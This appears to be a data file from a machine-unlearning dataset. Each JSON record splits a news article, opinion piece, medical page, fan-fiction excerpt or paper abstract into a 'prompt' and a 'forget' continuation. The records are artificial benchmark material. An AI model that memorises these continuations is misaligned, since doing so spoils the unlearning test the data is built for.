audience is situated so far from them. For most spectators they are just dynamic design pieces with a moving yellow bar that indicates where the next red or blue rectangle will appear. They need larger fonts and the elimination of superfluous information like the flag of the state of the athlete\u2019s club. Another thing that has become the new normal as the entry list has grown Is the use of 3 platforms with sessions occurring simultaneously. At times there"}
{"prompt": "SINGAPORE - Round Two of opposition party talks to discuss constituencies and how to avoid three-cornered contests appeared to fray at the start but party leaders emerged after an hour-long pow-wow with all but three constituencies now likely to see straight fights between the opposition and the ruling People's Action Party. But the prospects for a resolution did not look all that bright in the beginning as the Worker's Party (WP) was a no-show, and Reform Party (RP) chief Kenneth Jeyaretnam left just 15 minutes after the meeting started. There was no immediate word on why the WP did not", "forget": "attend, but Mrs Hazel Poa, acting secretary-general of the National Solidarity Party (NSP) - which hosted the all-party talks at its Jalan Besar headquarters - told reporters that WP chairman Sylvia Lim had emailed the party earlier to say it would not be attending. In the email, Ms Lim said the WP had already made its position clear at the first round of talks on Monday. On Wednesday night, WP secretary-general Low Thia Khiang had made clear to reporters that the party will not budge from the areas where it had staked a claim, such as in Marine Parade GRC, even as it would do its best to avoid three-cornered fights. Indeed, two of the three unresolved areas from talks on Thursday night involved the WP and the NSP. As party leaders adjourned and the media was allowed in to the meeting room, a chart projected on the wall showed that the WP and NSP remain locked in their claims for Marine Parade GRC and the MacPherson single-seat ward. The other unresolved constituency involves Mr Jeyaretnam's RP and the year-old Singaporeans First (SingFirst) party led by former civil servant Tan Jee Say - who told reporters at the end of the meeting that he would work with the RP to resolve the matter. Earlier on Thursday evening, Mr Jeyaretnam left the meeting but then returned to speak to reporters to emphasise that he did not walk out - and that bilateral talks would continue. But he noted that the WP did not attend. He also said his party had shown a great deal of flexibility at the first round of the all-parties talks on Monday as the RP and NSP, for instance, resolved their claims over the Radin Mas and Pioneer single-seat wards. The NSP agreed to give up on"}
{"prompt": "Scores of women say they were sexually assaulted and mugged by groups of men largely of Arab and north African appearance German police are investigating reports that scores of women were sexually assaulted and mugged in Cologne city centre during New Year\u2019s Eve celebrations, in what a minister called a \u201ccompletely new dimension of crime\u201d. Authorities and media were accused of a cover-up linked to initial indications that, according to the police, those allegedly responsible for the sex attacks and numerous robberies were of Arab and north African origin. Sixty complaints were filed to police, a third of which were", "forget": "linked to sexual assault. Cologne\u2019s mayor, Henriette Reker, called an emergency meeting of high-ranking security officials on Tuesday, saying her aim was to ensure the city centre did not turn into a \u201clawless zone\u201d. Between 500 and 1,000 men described as drunk and aggressive are believed to have been behind the attacks on partygoers in the centre of the western German city. Whether they were working as a single group or in separate gangs remains unclear. Women reported being tightly surrounded by groups of men who harassed and mugged them. Some people threw fireworks into the crowds, adding to the chaos. \u201cSexual crimes took place on a huge scale,\u201d said the police president, Wolfgang Albers. \u201cThe crimes were committed by a group of people who from appearance were largely from the north African or Arab world.\u201d He said one of the victims had been raped. A volunteer policewoman was among those said to have been sexually assaulted. The German chancellor, Angela Merkel, called Reker to express her outrage, according to a statement from her office. She called for authorities to find the perpetrators as \u201cquickly and comprehensively as possible and to punish them without regard to their origin or background.\u201d Officers are working on the assumption that the men had organised their plan of attack. They said many of the perpetrators were known to them and some may have been asylum seekers, though not new arrivals to Germany. Similar attacks are believed to have taken place on a smaller scale in Hamburg\u2019s red light district of St Pauli on New Year\u2019s Eve, according to a police spokesman. Facebook Twitter Pinterest The Cologne mayor Henriette Reker has held crisis talks over the New Year\u2019s Eve incidents in the city. Photograph: Wolfgang Rattay/Reuters In Cologne, police said the men appeared to have"}
{"prompt": "393352 06: (L to R) Actors Sarah Chalke, Zach Braff, and Donald Faison poses for a publicity photo for the television show 'Scrubs.' (Photo Courtesy of NBC/Getty Images) Donald Faison, who played Dr. Christopher Turk on the show \"Scrubs,\" celebrates his birthday today, June 22. As \"Scrubs\" still has a lasting fan base -- the writers would call their cult following \"Our Nerds\" -- The Huffington Post has gathered 11 things from old interviews that you didn't know about your favorite gang of doctors, and they'll make you want to yell, \"Eagle!\" 1. The main cast went skinny dipping together", "forget": "on Faison's birthday. Zach Braff, Sarah Chalke and Faison appeared on AOL's \"Outside the Box\" series and were asked by a fan about the weirdest or most memorable moment they'd had on or off the set. Faison told a story about the three of them going to the Bahamas for his birthday, where they went swimming in the ocean. While they waded in the waves, they could look into the distance and see a lightning storm adding beautiful touches of light to the horizon. Originally, Faison was just going to stop there, but then Braff said Faison should mention they were skinny dipping, as well. Chalke said she kept her swimsuit on, but Braff claimed that he and Faison were swimming naked together, \"just like J.D. and Turk would.\" 2. J.D. and Turk were based on real doctors, one of which was \"Scrubs\" creator Bill Lawrence's best friend in college. Image: \"Scrubs\" In 2004, Bill Lawrence and Braff appeared on NPR's Fresh Air to talk about their still relatively new show at the time, along with the upcoming release of Braff's \"Garden State.\" Lawrence talked about how the show was based in reality, partly because his best friend from the College of William & Mary -- where he went for undergrad -- was a future med school student named J.D. Hence the inspiration for Lawrence's group of normal, young, fun-loving friends trying to survive the rigors of becoming a doctor. Lawrence's last memory of J.D. was as a guy with an empty 12-pack of beer on his head. He told Fresh Air that his worst nightmare in the world as a young 23-year-old would have been to end up in the emergency room with J.D. as the doctor. At a talk at his alma mater in 2009, Lawrence said that"}
{"prompt": "Hong Kong-based digital currency exchange ANX has upgraded its iOS app with added functionality, after Apple recently relaxed its strict stance towards bitcoin-transmitting apps. The \u2018ANX Vault\u2019 app now includes the all-important send and receive functions vital to any bitcoin wallet. Although always available on the Android version, these features have only now appeared for iOS. ANX has also upgraded the Android version. Both Android and iOS editions of ANX Vault now feature the ability to send bitcoin via email to recipients who do not yet have bitcoin addresses. Security features Both versions of the app support optional three-factor authentication,", "forget": "although, to still allow fast transactions, the app allows users to set daily spending limits that bypass the security feature. The exchange says that other security features include the ability to disable send privileges from a user\u2019s desktop account in the event of a lost mobile device, OTP (one-time password) support for logging in and sending funds, and \u2018industry standard\u2019 encryption for all data communication. Multi-currency platform and sending Although based in Hong Kong, ANX aims for an international client base for both its full exchange and mobile apps. The platform supports the world\u2019s most-traded fiat currencies (AUD, CAD, GBP, CHF, EUR, HKD, JPY, NZD, SGD and USD) and some of its most popular cryptocurrencies (BTC, DOGE, LTC, NMC, and PPC). Users set a home currency in which to view their total portfolio balance, and can view up-to-date exchange rates between cryptocurrency and fiat trading pairs. All cryptocurrency assets are viewable in a single comprehensive listing. BTC, LTC and DOGE can be sent to any other supported cryptocoin address with conversion performed by the exchange. The Android version also allows this feature for PPC and NMC. Standard features on any serious trading app are live updates and configurable price alerts, which ANX Vault also allows its users to set. The apps are available from their respective outlets: Apple\u2019s iOS App Store and the Google Play Store. ANX exchanges Although founded in June 2013, ANX has quickly grown to have the world\u2019s sixth-largest trade volume, thanks to its wide selection of currencies. In Hong Kong, where it is licensed as a Money Services Operator, the exchange manages a bitcoin ATM and physical shopfront-style trading point. The company recently launched a bitcoin debit card service, giving users another way to withdraw and spend their cryptocurrency wealth in a still fiat-dominated world. Its"}
{"prompt": "While the Berenstain Bears is ostensibly a mundane and inconsequential example of the Mandela Effect, there are other instances that are so uncanny, they\u2019re hard to ignore. For example, when Darth Vader reveals his paternalistic relationship to Luke in Star Wars, most remember him saying, \u201cLuke, I am your father.\u201d In \u2018reality,\u2019 he says, \u201cNo, I am your father.\u201d While an intransigent Star Wars fan might scoff at someone who misquotes such an important scene, it can\u2019t be ignored that most people remember it in the former. Even James Earl Jones, who voiced Darth Vader, remembers the line incorrectly. Movie", "forget": "quotes aside, an example of a famous real-life event that has been brought into the mystery of the Mandela Effect regards the famous protester at Tiananmen Square. The \u2018Tank Man,\u2019 whose defiant act of rebellion, standing in front of a tank with grocery bags in hand, is remembered by many as resulting in his death from being run over. In fact, he was not run over and there is no evidence of it, but many remember his crushing demise distinctly. This is nothing new to those familiar with the theory and there are many other examples that support it; so many that there is an entire subreddit devoted to the effect. With topics ranging from movies that never existed, to discrepancies in historical events, people vehemently claim to remember very particular things differently, but on a large, collective scale. Some people\u2019s reactions are visceral when they experience new revelations due to the Mandela Effect, to the point of incurring panic attacks or questioning reality. MANDELA EFFECT THEORIES AND CERN One pragmatist theory for explaining the Mandela Effect is that it is simply a failure in collective memory. Our brains are very easily influenced by our own filters, as well as the perception of others. Many common instances of the Mandela Effect are trivial and maybe just went unnoticed in the past, or are the result of conclusions that our brains jump to based on the context of an image or video. But some are substantial, like an entire country hundreds of miles out of place. One of the more intriguing theories that attempts to explain this phenomenon points a finger at CERN and the large hadron collider in Switzerland. CERN\u2019s experiments are intended to find illusory particles that could potentially show evidence of a multiverse, create tiny black holes or"}
{"prompt": "FRIDAY BUZZ COLUMN A six-pack of Dolphins notes: \u2022 With Miami not likely to land free agent Josh Norman, cornerback remains a high priority, though we hear a few other players also intrigue the Dolphins with their first-round pick if they fall to their range at No. 13. If the Dolphins rate a non-cornerback as the best player on their board when they're picking at No. 13, there's a belief they could still land a quality corner at 42 and/or 73, a prospect such as UM\u2019s Artie Burns (if there at 42) or Baylor\u2019s Xavien Howard or Virginia Tech's Kendall", "forget": "Fuller or Samford's James Bradberry, among others. Drafting two corners is very much a possibility. Ohio State running back Ezekiel Elliott\u2019s visit here Tuesday went very well, he would welcome the Dolphins drafting him if he slips to 13, and Miami has strong interest, according to someone involved. He already has a lease on an apartment in Miami, though that has nothing to do with any possibility of him landing with the Dolphins. Meanwhile, the Dolphins recently sent a contingent to Los Angeles to conduct a private workout with UCLA\u2019s Myles Jack, the draft\u2019s best linebacker. There\u2019s Dolphins interest if he surprisingly slips out of the top 10. \u2022 What about UF\u2019s 5-10 Vernon Hargreaves, who could be the best corner available at 13? Though he cannot be ruled out if he\u2019s the best player available, I do know this: There is some resistance to Hargreaves among some Dolphins scouting/front office people who believe he\u2019s undersized and see him more as a nickel back. Miami\u2019s preference is a big, physical boundary corner. The Dolphins prefer bigger corners in general and are intrigued by Houston\u2019s William Jackson and Ohio State\u2019s Eli Apple, two 6-1 corners who visited. Jackson at No. 13 is certainly a possibility, but analysts disagree about whether Jackson is good value at 13. (Mel Kiper says he\u2019s not.) Most pundits have Apple in the 20s or lower. One Dolphins official said trading down from 13 for a corner would be a consideration, if there's not a player at 13 that Miami covets in that range and if it believes one of the tall corners would be available later in the first round. \u2022 Besides Jack, Elliott and the corners, the Dolphins have closely studied a handful of first-round front-seven defenders, including Clemson defensive ends Kevin Dodd (visited, but"}
{"prompt": "July 21, 2009 Dennis Kosuth responds to a critique of his article on the 1989 Tiananmen uprising from a member of the Party for Socialism and Liberation. MY ARTICLE on the 1989 Tiananmen Square uprising in China (\"Twenty years after Tiananmen Square\") for SocialistWorker.org drew a harsh response from Richard Becker, writing for the Party for Socialism and Liberation (PSL). Including footnotes, Becker's reply is nearly twice as long as my original article. It is packed, every inch of the way, with denunciations of me and the International Socialist Organization, which publishes SocialistWorker.org. Why should a relatively brief article on", "forget": "Tiananmen provoke such a lengthy and hostile response? It isn't because my article was a sustained attack on PSL--I mentioned the organization once, three paragraphs from the end. The answer is that what you think about the Tiananmen Square uprising goes to the heart of what you think about socialism. The American socialist Hal Draper once wrote a brilliant essay titled \"The Two Souls of Socialism\" that identifies two trends in the socialist movement historically--those who believe socialism can be imposed \"from above,\" in the name of the working class, whether by electing socialists to government office or through a military victory and force of arms; and those who think socialism must be achieved \"from below,\" by the collective action of the working-class majority in overturning capitalism and creating a workers' state based on mass democracy and freedom. The 1989 Tiananmen Square uprising shook China's rulers Becker and the PSL have two feet firmly planted in the \"socialism from above\" camp. Their identification of China with socialism depends, above all else, on the fact that the Chinese Communist Party (CCP) remains in charge. To the PSL, the CCP is, ultimately, the embodiment of socialism, rather than anything to do with the Chinese working class. Therefore, at those points when the CCP bureaucracy was at odds with the mass of the Chinese working class, the PSL sides with the CCP--even when that means defending indefensible repression and violence by China's state machine. Ultimately, PSL's socialism from above drives people like Becker to ever greater--and ever more shrill--twists of logic and distortions of fact about Tiananmen Square. THIS IS clear from the beginning of Becker's response to my article, when he takes offense at my distaste for the Chinese National Anthem--a sign, he says, of my \"cultural arrogance, jingoism and apparent ignorance.\""}
{"prompt": "We're excited to announce that the latest Pixel Perfect Precision Handbook is available to download now (PDF, iBook). With over 40 pages of fresh content, as well as updates to what was already there, we've made the third generation of the handbook bigger, better, and more beautiful. So, what's new? Branding and Retina Images At first glance the most obvious change is our new branding \u2014 with bold typography and lively colours it's so much more us\u2026two. We've also updated everything to Retina resolution, meaning even crisper detail in the imagery. Design and Development We're all too aware that some", "forget": "projects get designed up front and then \"thrown over the fence\" to a development team, the two sides unaware of each other's existence for the most part \u2014 a classic waterfall way of working. Here at ustwo though, our developers are as much a part of a product's formation as the designers \u2013 accordingly, they are brought in right from the start and their input is desired throughout all phases of the project. This completely new chapter includes much of what we've learned in bridging this gap between the two disciplines, including advice on how to get both sides working together more effectively, plus design techniques to ease the transition from pixels to code. More Pixel Perfect Principles There are now more of the fundamental Pixel Perfect Principles, including Users, Motion, and Prototyping. More Accessibility We've added guidance on Error Prevention, particularly relevant to mobile due to the size restrictions placed on the input methods. Some of the content for this chapter has also been reorganised to fit together more logically: for example there is now a section on Copy, pulling in some previous advice from other sections and highlighting its vital role in usability. And of course, more Photoshop Since the last release of the handbook we've seen Adobe bring out their Creative Cloud update, which includes some major new features for interface designers: Live Shape Properties, Linked Smart Objects, and the super-useful Generator have all found a place in the latest handbook. Don't forget to follow @pppustwo for the latest design tips and tricks as well. Enjoy! One last thing\u2026 There's also now a Japanese version of PPP 2 available. The translation was handled by our friends over at Concent, and it looks fantastic \u2014 we're so pleased to see the content in another language, opening up the"}
{"prompt": "Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. July 13, 2016, 7:25 PM GMT / Updated July 13, 2016, 7:25 PM GMT By Linda Carroll Despite dire warnings about the dangers of synthetic cannabinoids, popularly known by names such as K2, Spice, Black Mamba and Kronic, they continue to grow in popularity. Just yesterday, 33 people were rushed to the hospital in Brooklyn, N.Y. with symptoms that suggested an overdose on the drugs, according to an NBC4 New York report. The city\u2019s health department told the station that there", "forget": "have been more than 6,000 K2-related emergency room visits and two confirmed deaths in New York City since 2015. In January, the American Association of Poison Control Centers listed 1,462 exposures. To get a better understanding of what K2 is and why the drug is so dangerous, NBC News spoke with Marilyn A. Huestis, a professor at the University of Maryland School of Medicine in Baltimore and former chief of chemistry and drug metabolism at the National Institute on Drug Abuse. Q: What exactly is K2? A: These are synthetic compounds that bind to the same receptor in the body and brain as THC, the most psychoactive ingredient in [marijuana]. In fact, they can have really different structures from THC. The first synthetic cannabinoids were actually produced legitimately as tools for us to investigate the pharmacology of the endogenous cannabinoid system. This system is important for critical functions such as temperature control, hunger and reproduction. It also plays very important roles in the brain for executive function, which is what we use to take in information from the environment, evaluate it, and determine a course of action. The researchers who figured out how make these synthetics published their findings in scientific journals and illicit manufacturers learned from those articles. Q: So, if the drugs just mimic compounds that are not only found in marijuana, but are also naturally occurring in the body, what\u2019s the problem? A: People are dying all the time from synthetic cannabinoids. They can be up to 100 times as potent as the THC in cannabis. Though this is a natural system in the body, marijuana or cannabinoids basically hijack the system and take over. Q: Just how dangerous are these compounds \u2014 can they actually kill you? We have learned that they can not only lead"}
{"prompt": "Former Home Secretary GK Pillai\u2019s admission on Times Now - that an affidavit filed in the alleged \u201cfake encounter\u201d in Gujarat that killed four Lashkar-e-Toiba (LeT) terrorists, including Ishrat Jahan, was deliberately changed under political direction to omit mention of their LeT affiliation - has set the cat among the pigeons. Since this allegation has more or less been admitted by P Chidambaram in an interview to NDTV, it shows the extent to which the Gandhi family saw Narendra Modi as a clear threat to its political domination even as early as 2009 (or even earlier), when the Congress party", "forget": "had just trounced the BJP in the general elections.Chidambaram told NDTV: \u201cThe original affidavit did say that A, B, C, D were terrorists, but the IB\u2019s position was we don\u2019t name or charge anyone as terrorists... therefore a second affidavit had to be filed to clarify (that),\u201d and that he \u201cowned the decision\u201d to file the second affidavit. (Read here). What is shocking is not merely that the affidavit was changed, but it was changed in a way that made threats to national security secondary to the political interests of the Gandhi dynasty, Sonia and Rahul. Advertisement The change in the affidavit was wrong in principle for two reasons, even though it is fair to claim that details about the affiliation of those killed by the Gujarat police were not as important as the charge that they were killed in a \u201cfake encounter\u201d. First, who is being killed is not immaterial to how the fake encounter case is finally decided \u2013 especially if it leads to conviction. As an analogy, let\u2019s assume a woman is being prosecuted for the murder of her husband. Is it immaterial to let the court know that she was beaten daily and that may be the cause that led to her murdering her husband, assuming it is all provable? Similarly, in a \u201cfake encounter\u201d, who was killed is not an insignificant fact. The court can show leniency even if there is a conviction if it was clear that the persons killed were threats to national security. Second, if Pillai is to be believed, there seems to have been wilful suppression of important national security aspects of the operation, Till the affidavit was changed, the Ishrat-LeT case was considered a successful Intelligence Bureau (IB) operation to lure and trap LeT terrorists, but this success was sacrificed"}
{"prompt": "Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues", "forget": "that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? Article II, Section 4 of the Constitution of the United States announces that \u201cThe President, Vice President and all civil Officers of the United States, shall be removed from Office on Impeachment for, and Conviction of, Treason, Bribery, or other high Crimes and Misdemeanors.\u201d Ad Policy The attorney general of the United States is a civil officer. If he has lied under oath to the Senate, that act demands impeachment. After news reports published last Wednesday made it clear that Jefferson Beauregard Sessions III had deceived the Senate regarding his interactions with Russian officials, there were immediate demands that the attorney general recuse himself from investigations into issues relating to those lies and that he resign as the nation\u2019s chief law-enforcement officer. Sessions announced Thursday afternoon that he would recuse himself from any examination of Russian involvement with President Trump\u2019s campaign. But he gave no indication that he would consider"}
{"prompt": "Solar For After Dark: How CSP Works October 31st, 2016 by Susan Kraemer Concentrated Solar Power (CSP) is the form of solar that can store the sun\u2019s energy thermally for on-demand electricity generation at any time. CSP is clean energy, like solar PV or wind, but the back end or the power block works like any thermal energy power station (coal, natural gas, and nuclear power plants are thermal energy power stations). The difference is that instead of digging up a finite fuel from the earth, CSP harvests sunlight to make thermal energy. Because of its ability to store solar", "forget": "energy thermally, CSP can be fully dispatchable. In other words, it can be switched on when needed \u2014 in the evening, before sunrise, or at whatever time the utility needs power. It can respond to new demand within the same day. The speed of start-up is limited only by the time it takes to start the turbines, about half an hour. How CSP Works In general, all CSP plants operate by aiming mirrors (heliostats) to reflect the sun\u2019s light onto a receiver which then heats a fluid that ultimately generates thermal electricity like any other thermal power plant. That is where the similarities among the various types of CSP plants end. There are four types of CSP, with the oldest (Trough) being the most widespread, the newest (Tower) being the most likely to succeed, and two lagging technologies (Stirling Dish and Fresnel) that have yet to break more than a few megawatts of installed capacity. Why the Need for Storage Means Tower CSP is the Future Tower CSP is most likely to be the CSP of the future because it is the most economical technology to incorporate storage. And increasingly, storage is becoming a requirement of CSP. For utility-scale applications, the thermal storage possible with tower CSP is typically cheaper, more durable, and longer lasting than battery storage, rivaling the almost limitless recycling capability of pumped hydro. At grid scale, CSP thermal storage is cheaper than batteries, depending on how long the storage is \u2014 a half hour is better served by fast-acting batteries. Two tower CSP projects in Chile actually have both battery and thermal storage in order to combine the speedy reaction time of batteries with cheap long-term thermal storage. (Behind the meter, of course, the uncertainty of net metering makes battery storage sensible financially for solar homeowners"}
{"prompt": "Two administrators' wives among those traveling on the university's tab This Aug. 28, 2014, photo shows the Elliott Tower on the campus of Oakland University in Oakland County. An event is scheduled for Friday, Sept. 19, 2014, to dedicate the bell tower in the heart of campus. (Photo: Oakland University / AP) Oakland University spent $155,000 to fly board members, administrators and other staff to Florida in early February for a private board meeting and winter event for donors at a gulf coast resort, according to more than 700 pages of expense records obtained by the Detroit Free Press. Among", "forget": "those flying down on the university's tab were the campus golf pro and the wives of the school's top two administrators. The money for the trip came from various general fund budgets. The general fund is largely made up of money from state aid and tuition. The trip came less than seven months after the Rochester school raised tuition by 8.4% for the current school year, the largest percentage hike in that time period among Michigan\u2019s 15 public universities. The hike exceeded a state tuition cap and forced OU to give up some state aid, but officials said they needed the money to adequately fund increasing needs for professors and infrastructure at the growing school. In total, the university paid $88,000 for plane tickets, dining out and drinks and lodging for 42 university employees and board members to attend the two-day, private board retreat, followed by the annual two-day Winter College attended by 110 employees, donors and alumni. Officials spent another $62,000 on banquet rooms, conference rooms and catered meals at the resort. Among the expenses: $1,600 for airfare and food for the wives of President George Hynd and Chief Operating Officer Scott Kunselman, a former board member. $1,141, including $212 on liquor and wine, for a dinner attended by 13 people, including the school's provost and academic deans. Guests at the dinner dined on oysters, $44 Chilean sea bass and $40 scallops. A watch party for an OU men\u2019s basketball game against Youngstown State, at which Athletic Director Jeff Konya bought $79 worth of alcohol, for which he was reimbursed. Konya has a special exemption from the university to purchase alcohol and be reimbursed. The board retreat and Winter College were held at the Hyatt Regency Coconut Point Resort and Spa in Bonita Springs, Fla., a resort described on"}
{"prompt": "Hillary Clinton speaks at a campaign event in Scranton, Pennsylvania. Credit:AP Clinton's numbers are firming as Trump implodes. But in recent time, close to 70 per cent of Americans have marked her down as dishonest. She can't make too much of Trump's worst-ever favourable ratings as a presidential candidate, because hers are the second worst. We get plenty of frightening professional analysis on why Trump behaves as he does \u2013 Clinton gets less time on the analyst's couch. Though in 1996, there was quite a kerfuffle when William Safire, self-styled \"libertarian conservative\" columnist and one-time supporter of Bill Clinton, denounced", "forget": "the then first lady in print as a \"congenital liar\" and an \"habitual prevaricator\" - to which her husband responded by saying that were he not the president, he'd have punched Safire on the nose. Despite being caught out repeatedly, Clinton is seen as consistently bending and breaking facts, whether it's about her past; about what she knew or didn't know about the 2012 Benghazi attack in which four Americans, including an ambassador, were killed; or about what she did or didn't do with the private email server stashed in her basement. Clinton was sensational in 2008, claiming to have landed in Bosnia as first lady \"under sniper fire \u2026 with our heads down\". No \u2013 the only welcome she received was from smiling schoolchildren waiting on the tarmac, eager to present Clinton with their poems. Donald Trump speaks during a coal mining roundtable in Virginia. Credit:AP At Politifact, the fact checkers were underwhelmed by her claims to have helped usher in peace in Northern Ireland; to have negotiated border opening for Kosovars fleeing into Macedonia; and to have stood up to the Chinese government on women's rights. Only one of her grandparents, not all four, were migrants to the US. No, she and Bill were not \"dead broke\" when they left the White House; and it's unlikely that she was named after Sir Edmund Hillary, because she was six years old when he climbed Everest. Biden on the presidential election campaign trail with Hillary Clinton in August last year Credit:AP For many the issue of the email server is a drag. But Clinton's conduct in the several investigations into her use of the server while serving as secretary of state is revealing. First, the State Department investigation revealed that what she publicly claimed was \"allowed\" had never been sanctioned;"}
{"prompt": "Abstract Neuroimaging evidence suggests that the parietal lobe has an important role in memory retrieval, yet neuropsychology is largely silent on this topic. Recently, we reported that unilateral parietal lobe damage impairs various forms of visual working memory when tested by old/new recognition. Here, we investigate whether parietal lobe working memory deficits are linked to problems at retrieval. We tested two patients with bilateral parietal lobe damage in a series of visual working memory tasks that probed recall and old/new recognition. Stimuli were presented sequentially and several stimulus categories were tested. The results of these experiments show that parietal lobe", "forget": "damage disproportionately impairs old/new recognition as compared to cued recall across stimulus categories. The observed performance dissociation suggests that the posterior parietal lobe plays a particularly vital role in working memory retrieval. General Methods Participants Patients with bilateral parietal lobe damage are extremely rare. The survival rate after suffering the type of cerebrovascular event that produces bilateral parietal lobe damage is low. We were able to identify to patients with bilateral parietal lobe damage in our database. These patients have been discussed previously (Berryhill, Phuong, Picasso, Cabeza, & Olson, 2007); we summarize their profiles here. Patient EE555 is a 39-year-old former teacher with 16 years of education. Between April and June 2004, she suffered three infarcts in the watershed between the posterior and middle cerebral arteries. EE555\u2019s MRI revealed symmetrical lesions in lateral aspects of the inferior parietal lobe, extending from superior aspects of the occipital lobe through the angular gyrus (Brodmann areas (BA) 39) in and around inferior and middle portions of the intraparietal sulcus (IPS). Damage did not encroach into the midline (e.g. precuneus). EE555\u2019s lesions are depicted in . Open in a separate window EE555\u2019s physical and perceptual symptoms are currently stable. Patient EE555\u2019s primary deficit is simultanagnosia as defined by her inability to apprehend the contents of a visual scene, her abnormal performance on line cancellation tasks, in which she crosses off items only at the center, and her tendency towards local bias, as illustrated by her report of the local but not global elements in Navon letters. Language comprehension and speech fluency are unimpaired as assessed by her conversational skills, and performance on the auditory tests of the Western Aphasia Battery (Kertesz, 1982), which were uniformly at ceiling. Reading and writing are impaired due to her simultanagnosia and spatial disorientation. Her visual acuity is normal."}
{"prompt": "Mossdeep City What have you done now? - It wasn\u2019t me! It looks like an ancient seal has been broken. Trust me, I know a thing or two about ancient seals. - That other Archie is trying to wake up Kyogre. Then I suggest you do something about it, quickly. - You\u2019re not going to help? I would but whenever I pass through the fog surrounding this island I am returned to Sinnoh. But you seem to be able to traverse the fog with impunity. - Yeah\u2026 I first thought Palkia and Dialga were involved but this feels\u2026 different. -", "forget": "Gotta go! I rush to the pok\u00e9mon center, while everyone is getting healed I consult the silver ball in my bag. I\u2019ve got the next batch of backup for you. - I\u2019m heading south to stop Archie. That\u2019s not your mission! Go get the last badge and go to Ever Grande! - You weren\u2019t here last time, you don\u2019t know. I\u2019m stopping Archie! I might know more than you think\u2026 Route 128 Riding on Susan\u2019s back we surf as fast as Susan can. Soon enough we arrive at a shallow island, a place I recognise from before. We dive underwater, find a cavern and head inside. Seafloor Cavern I emerge near the submarine Archie had stolen, it seems abandoned. I continue deeper into the cavern. Why did I get stuck with guard duty? I wanted to see Kyogre. It sure is dark in here, I hope nobody sneaks up on me and knocks me out. I quietly sneak up behind the goon and with a swift blow to the head he\u2019s out cold. I encounter a few other goons patrolling further inside but I give them the slip. Huh? What was that noise? Hmm\u2026 Hey who\u2019s footprints are these? Oh, they\u2019re mine\u2026 After shoving a few boulders out of my way I reach a large pool, Archie is standing on a ledge above it and Kyogre sleeps below. Maxie and other Maxie are already here but it doesn\u2019t look like things went well for them. Damn! I thought for sure if both of us- Haharr! Ye both brought fire types to a water battle an\u2019 thought ye stood a chance? And now th\u2019 little scamp wants t\u2019 try his luck! Go Mightyena! - Go Amber! - Earthquake! Scary face! Mightyena makes an unnerving look at Amber while she triggers an"}
{"prompt": "Diary of the damned: Never seen before, a lost diary of the Great War so brutally vivid you'll feel YOU are there in the trenches Harry Drinkwater joined a 'Pals Battalion' when the war began in 1914 He was sent to the front lines and suffered the grueling realities of war His diary entries, never before published, tell of his hellish existence caked in mud, deprived of sleep and endlessly confronted by the deaths of his friends Volunteer: Harry Drinkwater, pictured, recorded the horrors of the First World War in vivid diary entries After volunteering as an Army private following", "forget": "the outbreak of World War I in 1914, former grammar-school boy Harry Drinkwater, 25, joined a \u2018Pals battalion\u2019 \u2014 so-called because the men were encouraged to join up with local friends and work colleagues. A few months later, his conversion from Stratford-upon-Avon shop assistant to soldier was complete. In this extract from his remarkable diary - which it was strictly against the rules to keep and which has been published for the first time - Harry writes about his brutal introduction to the trenches at the Somme in Picardie, Northern France... Thursday, December 16, 1915 Arrived in [the hamlet of] Suzanne today, after a very hard march. We\u2019re billeted in tents, 12 men in each, encamped between the enemy and our own heavy guns. At night-time, one sees little slits of light shining from the tents on the puddles of water outside, which give the impression of a fairy land. Rolling into our blankets, we occasionally hear the \u2018splash, splash\u2019 as some fellow moves from one tent to another, or the plod of the sentry. Plus the continual shriek of shells. Tomorrow we go into the trenches. I wonder what sort of a show we will make. Sunday, December 19 No words can adequately describe the conditions. It\u2019s not the Germans we\u2019re fighting, but the weather. Within an hour of moving off, we were up to our knees in mud and water. The mud gradually got deeper as we advanced along the trench. We hadn\u2019t gone far before we had to duck; the enemy were sending over their evening salute of shells. Pals battalion: Harry (centre left, marked in blue ink) joined the Second Birmingham Battalion alongside friends from home. Most of them died by the end of the war To move forward, I had to use both elbows for"}
{"prompt": "Trimethylaminuria ('fish odour syndrome') Trimethylaminuria (TMAU) is an uncommon condition that causes an unpleasant, fishy smell. It's also called \"fish odour syndrome\". Sometimes it's caused by faulty genes that a person inherits from their parents, but this isn't always the case. There's currently no cure, but there are things that can help. Symptoms of trimethylaminuria Trimethylaminuria symptoms can be present from birth, but they may not start until later in life, often around puberty. The only symptom is an unpleasant smell, typically of rotting fish \u2013 although it can be described as smelling like other things \u2013 that can affect", "forget": "the: breath sweat pee vaginal fluids The smell may be constant or may come and go. Things that can make it worse include: sweating stress certain foods \u2013 such as fish, eggs and beans periods When to see a GP See a GP if you notice a strong, unpleasant smell that doesn't go away. They can check for more common causes, such as body odour, gum disease, a urinary tract infection or bacterial vaginosis. Tell your GP if you think it might be trimethylaminuria. It's an uncommon condition and they may not have heard of it. They may refer you to a specialist for tests to check for the condition. Causes of trimethylaminuria In trimethylaminuria, the body is unable to turn a strong-smelling chemical called trimethylamine \u2013 produced in the gut when bacteria break down certain foods \u2013 into a different chemical that doesn't smell. This means trimethylamine builds up in the body and gets into bodily fluids like sweat. In some cases, this is caused by a faulty gene a person has inherited from their parents. How trimethylaminuria is inherited Many people with trimethylaminuria inherit a faulty version of a gene called FMO3 from both their parents. This means they have 2 copies of the faulty gene. The parents themselves might only have 1 copy of the faulty gene. This is known as being a \"carrier\". They usually won't have symptoms, although some may have mild or temporary ones. If you have trimethylaminuria, any children you have will be carriers of the faulty gene so are unlikely to have problems. There's only a risk they could be born with the condition if your partner is a carrier. 